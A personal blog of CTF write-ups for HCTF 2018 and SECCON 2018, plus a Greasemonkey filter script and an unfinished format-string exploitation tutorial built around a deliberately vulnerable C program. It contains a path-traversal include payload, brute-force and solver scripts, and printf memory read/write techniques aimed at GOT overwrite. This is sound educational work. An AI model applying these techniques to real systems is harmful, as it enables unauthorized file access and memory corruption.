CTFするぞ

CTFを勉強してて学んだことをまとめていきたい

HCTF 2018 Writeup

HCTF 2018 had been held for 48 hours from November 9th. HCTF is held every year but this was the first time for us to participate in HCTF. I joined in the CTF as a member of team insecure. We got 3032.49pt and I solved 4 challenges.

f:id:ptr-yudai:20181111223953p:plain

Thank you for the awsome CTF. I learned a lot!

[Web] Warmup

Description:
warmup
URL: http://warmup.2018.hctf.io
Team solved: 266

There are index.php, hint.php on the given url and we can also access to source.php, which I found in the source code of index.php. The source.php tells us the whole PHP code of index.php.

 <?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

It's a whitelist check to verify the file parameter is "source.php" or "hint.php". The hint says that the filename of the flag is ffffllllaaaagggg. As we can see in the code, only the token before '?' will be checked. For example, parameters like file=source.php?hello will pass the filter. However it won't include any files because there are no such files named source.php?hello. After several attempts, I realized that I could bypass the filter by using a relative path like:

http://warmup.2018.hctf.io/?file=hint.php?/../hint.php

Finally I found the flag in the root directory.

http://warmup.2018.hctf.io/?file=hint.php?/../../../../ffffllllaaaagggg

[Misc] freq game

Description:
this is a eazy game. nc 150.109.119.46 6775
Team solved: 36

We can get the source code by entering 'hint.'

$ nc 150.109.119.46 6775
 _______  _______  _______  _______    _______  _______  _______  _______
(  ____ \(  ____ )(  ____ \(  ___  )  (  ____ \(  ___  )(       )(  ____ \
| (    \/| (    )|| (    \/| (   ) |  | (    \/| (   ) || () () || (    \/
| (__    | (____)|| (__    | |   | |  | |      | (___) || || || || (__
|  __)   |     __)|  __)   | |   | |  | | ____ |  ___  || |(_)| ||  __)
| (      | (\ (   | (      | | /\| |  | | \_  )| (   ) || |   | || (
| )      | ) \ \__| (____/\| (_\ \ |  | (___) || )   ( || )   ( || (____/\
|/       |/   \__/(_______/(____\/_)  (_______)|/     \||/     \|(_______/


this is a sample game ...


input y to start this game, and input hint to get hint:

We are given the following python code which is running on the server.

#!/usr/bin/env python

def get_number(x, freq,rge):
    y = np.sin(2*np.pi*x*freq)*rge
    return y
    
def divide_flag(token):                                                                                                                                                                       
    flag_list = []                                                                                                                                                                            
    flag = "****************************************************************"                                                                                                                 
    for i in range(0,64,2):                                                                                                                                                                   
        flag_list.append(int(flag[i]+flag[i+1],16))                                                                                                                                           
    return flag,flag_list                                                                                                                                                                     
                                                                                                                                                                                              
def game(level,flag_list):                                                                                                                                                                    
                                                                                                                                                                                              
    level = level*4                                                                                                                                                                           
    freq_list = flag_list[level:level+4]                                                                                                                                                      
                                                                                                                                                                                              
    x = np.linspace(0,1,1500)                                                                                                                                                                 
    y = []                                                                                                                                                                                    
    for freq in freq_list:                                                                                                                                                                    
        if y == []:                                                                                                                                                                           
            y = get_number(x,freq,7)                                                                                                                                                          
        else:                                                                                                                                                                                 
            y += get_number(x,freq,7)                                                                                                                                                         
    return y,freq_list                                                                                                                                                                        
                                                                                                                                                                                              
def start_game(tcpClisock,token,userlogger):                                                                                                                                                  
    
    flag,flag_list = divide_flag(token)
    level = 0
    while True:
        if level == 8:
            tcpClisock.sendall((CONGRATULATION_TXT.format("hctf{"+flag+"}")).encode("utf-8"))
            break
        y,freq_list = game(level,flag_list)
        send_data = json.dumps(list(y)).encode("utf-8")
        tcpClisock.sendall(send_data)
        req_data = tcpClisock.recv(1024).decode("utf-8").replace("\n","")
        req = req_data.split(" ")
        req.sort()
        freq_list.sort()
        if req == freq_list:
            level += 1
            continue
        else:
            break
    tcpClisock.close()

We have to pass 8 rounds and 4 different frequencies are used in every round. Let the frequencies be f_1, f_2, f_3, f_4, then the data we get is:

f(x) = 7\sin(2\pi x f_1) + 7\sin(2\pi x f_2) + 7\sin(2\pi x f_3) + 7\sin(2\pi x f_4)

What we have to send is a list of the frequencies f_1 to f_4. We can retrieve every frequencies by applying Fourier transform.

from ptrlib import *
import json
import numpy as np

token = "*** Every team has a token ***"
sock = Socket("150.109.119.46", 6775)
sock.settimeout(1.0)

sock.recvuntil("hint:")
sock.sendline("y")
sock.recvuntil("token:")
sock.sendline(token)

for r in range(8):
    print("Round {0}...".format(r + 1))
    array_json = sock.recvall()
    y = json.loads(array_json)
    # FFT
    F = np.fft.fft(y)
    Amp = np.abs(F)
    freq = np.linspace(0.0, 0xFFFF, 1500)
    # Find freq
    freq_list = []
    for c in xrange(0x100):
        if Amp[c] > 5000:
            freq_list.append(c)
    if len(freq_list) != 4:
        print("Error!")
        print(freq_list)
        exit(1)
    # Send answer
    data = ""
    for freq in freq_list:
        data += str(freq) + " "
    sock.sendline(data.rstrip())

print(sock.recvall())

sock.close()

By running this program, I could successfully get the flag. (Sorry for using a private CTF library.)

[Crypto] xor game

Description:
This is an English poem, but it is encrypted. Find the flag and restore it (also you can just submit the flag).
URL: http://img.tan90.me/xor_game.zip
Team solved: 98

The encryption algorithm is to xor the text repeatedly with the flag. Since the original text is (supposed to be) an English text, we can perform Kasiski examination and analyse the frequency of characters. The length of the poem seems large enough to break the cipher, so let's try it.

We have to find the key length first. The following program finds the most possible key length with Kasiski examination.

# Read the ciphertext as a list of ascii codes
text = open("cipher.txt", "r").read().decode("base64")
encoded = map(ord, list(text))

eq = lambda x: x[0] == x[1]

# Try several key lengths
max_freq = 0
guess_keylen = 0
for length in range(1, 50):
    shifted = encoded[length:] + encoded[:length]
    freq = map(eq, zip(encoded, shifted)).count(True)
    if max_freq < freq:
        max_freq = freq
        guess_keylen = length
print("Key Length: {0}".format(guess_keylen))

It says the key length may be 21.

Second, we have to find the key based on the key length and the frequency of letters. The challenge description says that the original text is an English poem. An english text must contain a lot of whitespaces. When we collect characters every 21 bytes in the ciphertext, the most frequently appeared character possibly corresponds to a whitespace. I used this technique and wrote a decoder.

import string

def dec(encrypted, key):
    key = (key * (len(encrypted) / len(key) + 1))[:len(encrypted)]
    xor = lambda x: x[0] ^ ord(x[1])
    return map(xor, zip(encrypted, list(key)))

def calc_freq(encrypted, keylen, i):
    # Calculate the frequency
    freq = {}
    for c in encrypted[i::keylen]:
        if c in freq:
            freq[c] += 1
        else:
            freq[c] = 1
    return freq

def find_key(encrypted, keylen, key='', i=0):
    # Generate possible keys
    if len(key) == keylen:
        decoded = dec(encrypted, key)
        ascii_count = 0
        for c in decoded:
            if chr(c) in string.printable:
                ascii_count += 1
        if float(ascii_count) / len(encrypted) > 0.9:
            yield key
    else:
        freq = calc_freq(encrypted, keylen, i)
        # Get 3 common letters
        common = sorted(freq.items(), key=lambda x:-x[1])[:2]
        for candidate in common:
            k = candidate[0] ^ 0x20
            if chr(k) not in string.printable:
                # The key is not printable
                continue
            # Next character...
            for x in find_key(encrypted, keylen, key + chr(k), i + 1):
                yield x

with open("cipher.txt", "rb") as f:
    binary = f.read().decode("base64")
    encrypted = map(ord, list(binary))

key = next(find_key(encrypted, 21))
print key
print("===== Encrypted =====")
print(repr(binary))
print("===== Decrypted =====")
print repr("".join(map(chr, dec(encrypted, key))))

This decoder unfortunately doesn't find the correct key. However, it left me an important clue. I found the following piece in the decrypted text.

... es1in"\nRepea: *ut7i ...

I realized that "\nRepea:" should be "\nRpeat" originally. Since this token appears at 162th, the 16th(162 % 21 = 15) to 21th letters of the key are correct and the 1st letter is wrong. The correct one should be:

chr(ord("6")^ord(":")^ord("t")) = 'x'

I fixed the 1st letter and tried to decrypt. Then I found the following piece.

... e agai+\n ...

Yes, "agai+" should be "again", which means the 3rd(44 % 21 = 2) letter of the key is wrong. The correct one should be:

chr(ord("7")^ord("+")^ord("n")) = 'r'

In this way, I could successfully restore the flag: hctf{xor_is_interesting!@#}.

[Rev] LuckyStar☆

Description:
Lucky channel!
URL: https://mega.nz/#!6m4kHCIA!HaNLmfENJJ0Z_TKsX8Q7rWKJblP-m3dIjgcDYH-QYSk
Team solved: 24

The file is an executable for Windows x86, named LuckyStar.exe. The program plays a Japanese anime song and we can input a flag and check if it's correct after the song ends. So, let's analyse it with x64dbg.

At first, the program checks if some debuggers presents. However, it seemed to do nothing even though I had been running x64dbg. Anyway, after that it calls srand with a constant value 0x61616161 and unpacks a region using xor with rand().

f:id:ptr-yudai:20181112205219p:plain

This is just a trick to prevent a static analysis. The unpacked code is located at 0x00401780 and its the main routine. Let's set a breakpoint there and continue the program. (If you want to keep this breakpoint, you have to set a hardware breakpoint.)

f:id:ptr-yudai:20181112205915p:plain

Now we are there! It seems it creates a thread and waits until the thread quits. The program of this thread is located at 0x00401760 and luckily it's very small.

f:id:ptr-yudai:20181112210602p:plain

The thread just plays the song and it doesn't seem to be important. After the song ends, it xors a region of data with the values gained by rand(). The region is called after we give an input string. However, the xored region is broken and the process dies. So, I run the program normally and attached during the input phase. I'm not sure why it fails with debugger, but I always get the correct code in this way. (Perhaps the debugger detection makes it complex.)

f:id:ptr-yudai:20181119194553p:plain

As I analysed the piece of code, I found it is a base64 encoder. However, the uppercase of encoded string becomes lowercase and vice versa. It xors the base64 encoded string with rand() and compares to the valid one. This means we can find the valid base64 encoded string by xoring the xored data with rand() values. I got the sequence of rand() values by xoring my base64 string and the xored base64 string. The following code finds the valid base64 encoded string.

sample = 'y\xf4_\xef1|$v\xa1\x87\xfe\x04B\xa3\xaf\xd0\xb0\xe0\xd0|\xb6Xz\x8d\xa3\xc79\x04\xfd\xcc\x97Ze}\xe9\xac\x98\nh8'
key = 'I\xe6W\xbd:G\x11L\x95\xbc\xee2r\xa0\xf0\xde\xac\xf2\x83V\x83In\xa9\xa6\xc5g<\xca\xc8\xcc\x05'
target = 'qufbqufbqufbqufbqufbqufbqufbqufbqufbqufbque=\n'
output = ""
i = 0
for (a, b) in zip(sample, target):
    p = ord(a) ^ ord(b)
    output += chr(p ^ ord(key[i]))
    i += 1
    if i == 0x20:
        break
print(output)

The output is Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==. Notice that the uppercase becomes lowercase, and lower to upper, which means the real base64 value is aGN0ZnsxenVtaV9LMG5hdDRfTW8zfQ==. I decoded the base64 string and found the flag hctf{1zumi_K0nat4_Mo3}, haha.

SECCON 2018 OnlineのWriteup

はじめに

2018年10月27日15:00から28日15:00(JST)にオンラインで開かれたSECCON 2018 Onlineにチームinsecureとして参加しました.結果としては全体で56位でした.

f:id:ptr-yudai:20181028190855p:plain

私が解いたのはUnzip, History, QRChecker, Runme, block, Boguscrypt, mnemonicです.チームメイトの力を借りて解いた部分もありますが,それも含めてWriteupを書こうと思います. 解いた問題のファイルは以下に置いたので,参考にしてください.

seccon2018 - Google ドライブ

チームメイトのふるつきのWriteupはこちら.

furutsuki.hatenablog.com

[Forensics 101] Unzip

問題文:
Unzip flag.zip.
問題ファイル:
unzip.zip_26c0cb5b40e9f78641ae44229cda45529418183f

makefile.shを見ると,zipのパスワードはtime関数で得られたタイムスタンプのようです.

$ cat makefile.sh 
echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

unzipコマンドで作成時刻が見れるので,このタイムスタンプ周辺でブルートフォースアタックします. タイムスタンプは次のように確認できます.

$ unzip -l flag.zip
Archive:  flag.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       32  10-27-2018 00:10   flag.txt
---------                     -------
       32                     1 file
$ date +%s -d "2018-10-27 00:10"
1540566600

次のpythonコードを使いました.

import zipfile

f = zipfile.ZipFile("./flag.zip")
time = 1540566600
while True:
    try:
        f.extractall(pwd=str(time))
        break
    except KeyboardInterrupt, e:
        break
    except:
        pass
    time += 1

実行するとすぐに解凍が完了します.

$ cat flag.txt 
SECCON{We1c0me_2_SECCONCTF2o18}

[Forensics 145] History

問題文:
History Check changed filename. file:J.zip_4c7050d70c9077b8c94ce0d76effcb8676bed3ba
問題ファイル:
J.zip_4c7050d70c9077b8c94ce0d76effcb8676bed3ba

Jという名前の謎のファイルが渡されます.とりあえず見てみると,ファイル名がUnicodeでたくさん記載されています.

$ hexdump -C J
00000000  60 00 00 00 02 00 00 00  55 ed 00 00 00 00 23 00  |`.......U.....#.|
00000010  61 08 00 00 00 00 01 00  d0 73 3f 01 00 00 00 00  |a........s?.....|
00000020  a4 df f6 d3 62 49 d1 01  00 01 00 00 00 00 00 00  |....bI..........|
00000030  00 00 00 00 20 00 00 00  22 00 3c 00 6e 00 67 00  |.... ...".<.n.g.|
00000040  65 00 6e 00 5f 00 73 00  65 00 72 00 76 00 69 00  |e.n._.s.e.r.v.i.|
00000050  63 00 65 00 2e 00 6c 00  6f 00 63 00 6b 00 00 00  |c.e...l.o.c.k...|
00000060  60 00 00 00 02 00 00 00  a7 56 00 00 00 00 01 00  |`........V......|
...

まず,フラグが書かれてそうなファイル名を探すと,SECという文字でSEC.txtがヒットしました.

$ strings -t x -e l J | grep SEC
...
 3c1faa <SECURITY.LOG1
 3c2002 <SECURITY.LOG2
 3ccf42 <SEC.txt
 3ccf92 <SEC.txt
 3ccfe2 <SEC.txt
 3cd472 <SEC.txt
 3e4dca <SECURITY.LOG1
 3e4e22 <SECURITY
 3e508a <SECURITY.LOG2
...

このあたりをバイナリエディタで見ましたが,特にファイル内容が書かれているわけでもなかったので,今度は拡張子txtを探します.

...
 3c13aa <logfile.txt.0
 3c8392 <logfile.txt.0
 3ccf42 <SEC.txt
 3ccf92 <SEC.txt
 3ccfe2 <SEC.txt
 3cd472 <SEC.txt
 3cd4c2 <CON{.txt
 3cd512 <CON{.txt
 3cee22 <CON{.txt
 3cee72 <F0r.txt
 3ceec2 <F0r.txt
 3d085a <tktksec.txt
 3d08b2 <tktksec.txt
 3d090a <tktksec.txt
 3d0ab2 <F0r.txt
 3d0b02 <ensic.txt
 3d0b52 <ensic.txt
 3d0cca <ensic.txt
 3d0d1a <s.txt
 3d0d62 <s.txt
 3d28f2 <s.txt
 3d293a <_usnjrnl.txt
 3d2992 <_usnjrnl.txt
 3d2cea <_usnjrnl.txt
 3d2d42 <2018}.txt
 3d2d92 <2018}.txt
 3e59da <logfile.txt.0

ファイル名がフラグの欠片になっていることが分かります.したがって,フラグは「SECCON{F0rensics_usnjrnl2018}」です. ということで,フラグが出るまで分かりませんでしたが,NTFSの$UsnJrnl領域のデータなのでしょう.

[QR 222] QRChecker

問題文:
QR Checker
http://qrchecker.pwn.seccon.jp/
問題ファイル:
qr.cgi_93bb1a11da93ab2a50e61c7da1e62b34d316bc9b

QRコードを読み取ってくれるのですが,与えた画像は500x500, 250x250, 100x100, 50x50に拡大・縮小され,それぞれ読み取られます. 読み取った結果,全体で2通り以上のデータが読み込めればフラグを表示してくれます. このとき,リーダは1つのサイズの画像から1つのデータを読み取るので,確実にフラグを得たければ1つのサイズに対して1つのデータが得られるように作る必要があります. 縮小するとき等間隔のピクセルデータのみが残り,他の部分の情報は失われるので,縮小により新しいQRを出現させることができます. この方法の良いところは,縮小時に大きいQRコードのファインダパターンが消失するので,1つのサイズに対して有効なQRコードを1つだけ存在させられるという点です.

import qrcode
from PIL import Image

def add_margin(pil_img, top, right, bottom, left, color):
    width, height = pil_img.size
    new_width = width + right + left
    new_height = height + top + bottom
    result = Image.new(pil_img.mode, (new_width, new_height), color)
    result.paste(pil_img, (left, top))
    return result

qr = qrcode.QRCode(
    box_size = 4,
    version = 20,
    error_correction = qrcode.constants.ERROR_CORRECT_H,
    border = 0
)
qr.add_data("A")
qr.make(fit = True)
img = qr.make_image(fill_color = "black", back_color = "white")
img = add_margin(img, 0, 500 - img.size[0], 500 - img.size[0], 0, (255))

qr = qrcode.QRCode(
    box_size = 1,
    version = 1,
    error_correction = qrcode.constants.ERROR_CORRECT_H,
    border = 0
)
qr.add_data("B")
qr.make(fit = True)
img2 = qr.make_image(fill_color = "black", back_color = "white")
img2 = add_margin(img2, 5, 5, 5, 5, (255))
for y in xrange(1, img2.size[0]):
    for x in xrange(1, img2.size[0]):
        img.putpixel((x*2+1, y*2+1), img2.getpixel((x, y)))

img.resize((500, 500)).save("QR500.png")
img.resize((250, 250)).save("QR250.png")
img.resize((100, 100)).save("QR100.png")
img.resize((50, 50)).save("QR50.png")

500x500のときは下のように見えますが,

f:id:ptr-yudai:20181028193011p:plain

250x250に縮小すると下のようになります.予想通り大きいQRコードのファインダパターンは消滅しています.

f:id:ptr-yudai:20181028193021p:plain

[Reversing 102] Runme

問題文:
Run me.
問題ファイル:
runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68

引数を1文字ずつチェックして,間違いがあれば終了するプログラムです. 1文字チェックするごとにcallして次のチェックに移るので確認が面倒です. 動的解析で愚直に1文字ずつ確認していったところ,次のような引数であればOKのようです.

C:\Temp\SECCON2018Online.exe SECCON{Runn1n6_P47h

ということで,フラグは「SECCON{Runn1n6_P47h」です. こういうのをちゃんとプログラムに解析させるのが強い人なんだろうなぁ.

[Reversing 362] block

問題文:
BREAK THE BLOCK!
Hint: Real answer flag is not easy to get it, if your post flag is incorrect, it is not real one. Please try to analyze more.
問題ファイル:
block.apk_f2f0a7d6a3b3e940ca7cd5a3f7c5045eb57f92cf

Unity製のandroidアプリで,実行すると正方形の後ろでフラグっぽいのが高速回転しています. Unity3D Unpackerでassetを抽出すると,次のような画像が出てきました. f:id:ptr-yudai:20181028205422p:plain これを送りましたが不正解で,運営に連絡したところもうちょっと頑張れと言われました. 他に手掛かりが無かったので,たぶん内部で文字の順番を入れ替えてるんだろうなぁと思いました. il2cppを解析するのも面倒なので放置していたのですが,「34CH+3R」は「CH34+3R」なのでは,と思いついて「SECCON{Y0U_4R3_34CH+3R?}」を 「SECCON{Y0U_4R3_CH34+3R?}」とか「SECCON{4R3_Y0U_CH34+3R?}」に変えて送ってみたら,後者が正解でした. 29チームしか解いてないけど同じようなことした人は他にもいると確信しています.

[Crypto 162] Boguscrypt

問題文:
Boguscrypt
Hey, Can you decrypt the file?
問題ファイル:
Boguscrypt.zip_3d8f4d6495e291543d48fcbdaccecf7127d16fae

flag.txt.encryptedと,それをデコードするdecというプログラムがあり,さらに謎のchallenge.pcapが存在します. decの処理を読み,pythonに直すと次のようになっていました.

with open("flag.txt.encrypted", "rb") as f:
    encrypted = f.read()

output = ""
for (i, e) in enumerate(encrypted):
    d = ord(e) ^ ord(a[i % len(a)])
    output += chr(d)
    
print output

ここで,aはgethostbyaddrで得たホスト名(を反転したもの)です. pcapにエンコード時のホスト名が無いかを探すと,DNSパケットに書いてありました.

00000000  af 5e 01 00 00 01 00 00  00 00 00 00 01 32 01 30 .^...... .....2.0
00000010  01 30 03 31 32 37 07 69  6e 2d 61 64 64 72 04 61 .0.127.i n-addr.a
00000020  72 70 61 00 00 0c 00 01                          rpa..... 
    00000000  af 5e 85 80 00 01 00 01  00 01 00 02 01 32 01 30 .^...... .....2.0
    00000010  01 30 03 31 32 37 07 69  6e 2d 61 64 64 72 04 61 .0.127.i n-addr.a
    00000020  72 70 61 00 00 0c 00 01  c0 0c 00 0c 00 01 00 09 rpa..... ........
    00000030  3a 80 00 18 16 63 75 72  31 30 75 73 34 6e 64 6c :....cur 10us4ndl
    00000040  30 6e 67 68 30 73 74 6e  34 6d 33 00 c0 12 00 02 0ngh0stn 4m3.....
    00000050  00 01 00 09 3a 80 00 0b  09 6c 6f 63 61 6c 68 6f ....:... .localho
    00000060  73 74 00 c0 58 00 01 00  01 00 09 3a 80 00 04 7f st..X... ...:....
    00000070  00 00 01 c0 58 00 1c 00  01 00 09 3a 80 00 10 00 ....X... ...:....
    00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 01    ........ .......

ということで,これを使えばデコードできます.

with open("flag.txt.encrypted", "rb") as f:
    encrypted = f.read()

a = "cur10us4ndl0ngh0stn4m3"[::-1]
output = ""
for (i, e) in enumerate(encrypted):
    d = ord(e) ^ ord(a[i % len(a)])
    output += chr(d)
    
print output

この反転処理を忘れていて,チームに上手くいかなかった報告をしたところ,ふるつきが光速で修正して一足先に答えられてしまいました.

$ python solve.py
SECCON{This flag is encoded by bogus routine}

[Crypto 260] mnemonic

問題文:
Read me.
問題ファイル:
mnemonic.txt

32バイトの16進数文字,謎のひらがな羅列,64バイトの16進数文字が記載されたリストのセットが渡されます. 最初はまったく分からず,mnemonicなので日本語の文字コードから0x3000を引くと機械語になるのでは,とか考えてやっていました. するとthrustからslackでこんな報告が.

f:id:ptr-yudai:20181118191601p:plain

thrustから次のリンクを貰い,これにより解くことができました.

github.com

同じリポジトリに次のようなコードがありました.

vcoin/mnemonic-test.js at master · vertcoin-project/vcoin · GitHub

どうやら渡されたmnemonic.txtにはentropy, phrase, passphraseが記載されているようです. 今回は,entropyの先頭と一部欠落したphraseからentropyを全部戻すという問題のようです. mnemonic-test.jsに

assert.bufferEqual(mnemonic.getEntropy(), entropy);

というものがあったので,MnemonicクラスのgetEntropyメソッドを探すことにしました. vcoinはbcoinのforkだったので,元のリポジトリに検索をかけて次のコードを見つけました.

bcoin/mnemonic.js at 85ed59c842f2aa4c1a8154d74a9cad7696cdfee3 · bcoin-org/bcoin · GitHub

このコードを読んでいると,getEntropyはどうでもよくて,fromPhraseが鍵であることが分かりました. これはphraseからentropyを求めるメソッドなので,まさに今回探しているものです. fromPhraseをpythonで書き直すを次のようになります.

# coding: utf-8
import json
import math
from words import wordlist

n = 1
data = json.load(open("mnemonic.txt", "rb"))["japanese"]
entropy = data[n][0].decode("hex")
bits = len(entropy) * 8
password = data[n][2]
words = data[n][1].split(u" ")
for i in range(len(words)):
    words[i] = words[i].encode("utf-8")

wbits = len(words) * 11
cbits = wbits % 32

bits = wbits - cbits
size = int(math.ceil(wbits / 8))
data = [0 for i in range(size)]
for i in xrange(len(words)):
    word = words[i]
    index = wordlist.index(word)
    for j in range(11):
        pos = i * 11 + j
        bit = pos % 8
        octo = (pos - bits) / 8
        val = (index >> (10 - j)) & 1
        data[octo] |= val << (7 - bit)

cbytes = int(math.ceil(cbits / 8))
entropy = data[1:len(data) - cbytes + 1]
ans = ""
for c in entropy:
    ans += hex(c)[2:]
print(ans)

なお,words.pyには日本語の単語一覧が書かれています.これはyoshikingが教えてくれた.

f:id:ptr-yudai:20181028195547p:plain

渡されたmnemonic.txtの1つ目や2つ目のphraseから正しくentropyが求められました. 3つ目のphraseは最初の1つが欠落しているので,wordlistから順番に当てはめて,求めたentropyの先頭がmnemonic.txtのものと一致すれば出力します.

# coding: utf-8
import json
import math
from words import wordlist
from pwn import *

n = 2
data = json.load(open("mnemonic.txt", "rb"))["japanese"]
#entropy = data[n][0].decode("hex")
#bits = len(entropy) * 8
#password = data[n][2]
words = data[n][1].split(u" ")
for i in range(len(words)):
    words[i] = words[i].encode("utf-8")

for target in wordlist:
    words[0] = target
    wbits = len(words) * 11
    cbits = wbits % 32

    bits = wbits - cbits
    size = int(math.ceil(wbits / 8))
    data = [0 for i in range(size)]
    for i in xrange(len(words)):
        word = words[i]
        index = wordlist.index(word)
        for j in range(11):
            pos = i * 11 + j
            bit = pos % 8
            octo = (pos - bits) / 8
            val = (index >> (10 - j)) & 1
            data[octo] |= val << (7 - bit)

    cbytes = int(math.ceil(cbits / 8))
    entropy = data[1:len(data) - cbytes + 1]
    ans = ""
    for c in entropy:
        ans += hex(c)[2:].zfill(2)
    if ans[:3] == "c0f":
        print(ans)
        print(md5sumhex(ans))
        break

答えはentropyのmd5なので,「SECCON{cda2cb1742d1b6fc21d05c879c263eec}」となります.

$ python solve4.py
c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70
cda2cb1742d1b6fc21d05c879c263eec

感想

チーム内ではForensicsやStegano, Pwnを担当していましたが,Pwn全く手が出なかったのは反省です. Mediaに時間を取られすぎたせいで,せっかくshooterのSQLiまでたどり着いたのに時間が足りませんでした. (捨てる問題と解ける問題を見極められる力が足りない.) でもチーム内では活躍できたと思うし,担当のForensicsとQRを瞬殺できたのは個人的には満足です. KOSEN SECCONの方で決勝出場は確定しているので,あとは決勝に向けて勉強しようと思います. 参加者・運営のみなさん,お疲れ様でした.

Greasemonkeyで検索結果のフィルタリング

Googleの検索結果に役に立たない情報が多いので,不要な結果を除外するためのGreasemonkeyスクリプトを作りました. ご自由にお使いください. blacklistに除外したいキーワードを配列で指定すると,そのキーワードを含むサイトは破棄されます.

// ==UserScript==
// @name     google-censored
// @include  /^(http|https):\/\/www\.google\..+\/search.*/
// @version  1
// @grant    none
// ==/UserScript==

var blacklist = ['https://www.sejuku.net/'];

var elements = document.getElementsByClassName("rc");

for(var i = 0; i < elements.length; i++) {
  var href = elements[i].firstElementChild.firstElementChild.href;
  for(var j = 0; j < blacklist.length; j++) {
    if (href.indexOf(blacklist[j]) != -1) {
      var parent = elements[i].parentNode;
      div = document.createElement('div');
      html = "この検索結果はフィルターにより破棄されました.<br>";
      html += "<cite>" + href + "</cite>";
      div.innerHTML = html;
      parent.insertBefore(div, elements[i])
      parent.removeChild(elements[i]);
      i--;
      break;
    }
  }
}

使用前

f:id:ptr-yudai:20181014155204p:plain

使用後

f:id:ptr-yudai:20181014155053p:plain

Format String Exploitを試してみる

はじめに

真面目にpwnを勉強していきたいので復習も兼ねて1から整理していこう,ということで最初にFSBについてまとめてみます. FSBに関する分かりやすい説明はたくさんあるのですが,この記事ではグローバル変数に対するFSBの利用法を説明しようと思います.

Format String Bugとは

FSBはprintf関数のようなフォーマット文字列を扱う関数に起因する脆弱性です. 通常フォーマット文字列は次のような使い方をします.

printf("Message: %s", buf);

これは構わないのですが,次のようにフォーマット文字列の箇所に攻撃者が任意のデータを入れることができると問題が発生します.

printf(buf);

printfは"%s"や"%d"のようなフォーマットを見つけると,スタックから順番にデータを読み込んで処理します. したがって,bufに"%x%x%x"のような文字列が入っていると,スタック上のデータが表示されてしまいます. これがFormat String Bugと呼ばれる脆弱性なのですが,このようにスタック上のデータを漏洩してしまうだけでなく,スタック以外でもメモリ上のデータを漏洩,改竄することが可能になります.

攻撃対象

ちょっと前に開いた研究室内CTFの200点問題を例に説明します.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

void show_flag()
{
  FILE *fp;
  char *flag = (char*)malloc(64);
  fp = fopen("flag", "r");
  fread(flag, 1, 63, fp);
  fclose(fp);
  printf(flag);
  free(flag);
}

int main(void)
{
  int i;
  
  for(i = 0; i < 3; i++) {
    scanf("%31s", buf);
    printf(buf);
  }

  if (i == 0) {
    show_flag();
  } else {
    exit(1);
  }
  
  return 0;
}

Format String Exploitは基本的にASLRなどがあっても問題なく使えます.

$ gcc parrot.c -o parrot -fstack-protector -fno-PIE -no-pie

show_flag関数を呼べばOKなので,GOT Overwriteを目標に解いてみましょう.

FSBの基礎

メモリ上のデータを読む

FSBがあるので,次のような入力を与えるとスタック上のデータを見ることができます.

$ ./parrot
%p%p%p%p%p%p%p
0x804a0600xfff85d0c0x804875b0x10xfff85d040xfff85d0c(nil)

なお,scanfでは31文字しか入力を受け付けていないことに注意してください. また,このプログラムの場合FSBは3回使えます.(本当はもっと呼び出せるけど今回はそんなに使いません.) 次のように"%n$p"といった形で番号を与えることでスタック上の何番目のデータを処理するかを指定することができます.

$ ./parrot
%6$p
0xffce52dc
$ ./a.out
%8$p
0xf775b3c4

"%x"などはスタック上にある値をそのまま出力するだけですが,"%s"はその値をポインタとして読んでくれます. そのため,スタック上に読みたいアドレスが置かれていれば,その引数の番号を"%n$s"のように指定することでデータを読み出すことができます. もちろん読み出せないアドレスが指定されるとSegmentation Faultで終了します. printfに渡すバッファがローカル変数の場合,そのバッファ自体もスタック上に存在するので,"\xAA\xBB\xCC\xDD%n$s"のようなバイナリを送ることで任意のアドレスのデータを読み出すことも可能です. しかし今回はbufをグローバル変数にしたのでこの方法では特定のアドレスを渡すことはできません.

メモリ上にデータを書く

「man sprintf」でフォーマット指定子の一覧を見てみると,"%s"や"%d"といったよく使うものの他に,"%n"という興味深い指定子があります. この指定子では,printfが呼ばれてから%nを見つけるまでに出力された文字数を引数のポインタに書き込みます. ちょっと意味分かんないですが,例えば次のように使うとnに4が格納されます.誰が使うんだこれ.

printf("AAAA%n", &n);

とにかく,これを上手いこと使えばメモリ上にデータを書き込めそうです. 例えば次のようにすると,引数のアドレスに100という値を書き込むことができます.

printf("%100c%n", 1, &data);

これは非常に便利で,今回のように入力できる文字数に制限があるとき,「100文字+%n」を送らなくても「%100c%n」にまとめることができます. 他にも%hhnを使えば,1バイトだけ書き込むこともできます.

libcのベースアドレスを取得する

ASLRがかかっているときはlibcのベースアドレスが知りたくなります. 今回は使いませんが,GOT Overwriteによりlibcの関数を利用する場合はまずlibcのベースアドレスを取得しましょう. スタック上にlibc関連の関数のアドレスが存在すれば,これをリークすることができます. 今回のプログラムが実行中のスタックの様子をgdbで見てみましょう.

$ gdb -q ./parrot
gdb-peda$ b *0x80486d2
gdb-peda$ run
AAAA
gdb-peda$ x/32wx $esp
0xffffcd00:     0x0804a060      0x0804a060      0xffffcddc      0x0804875b
0xffffcd10:     0x00000001      0xffffcdd4      0xffffcddc      0x00000000
0xffffcd20:     0xf7fb53c4      0xffffcd40      0x00000000      0xf7e081b3
0xffffcd30:     0x08048710      0x00000000      0x00000000      0xf7e081b3
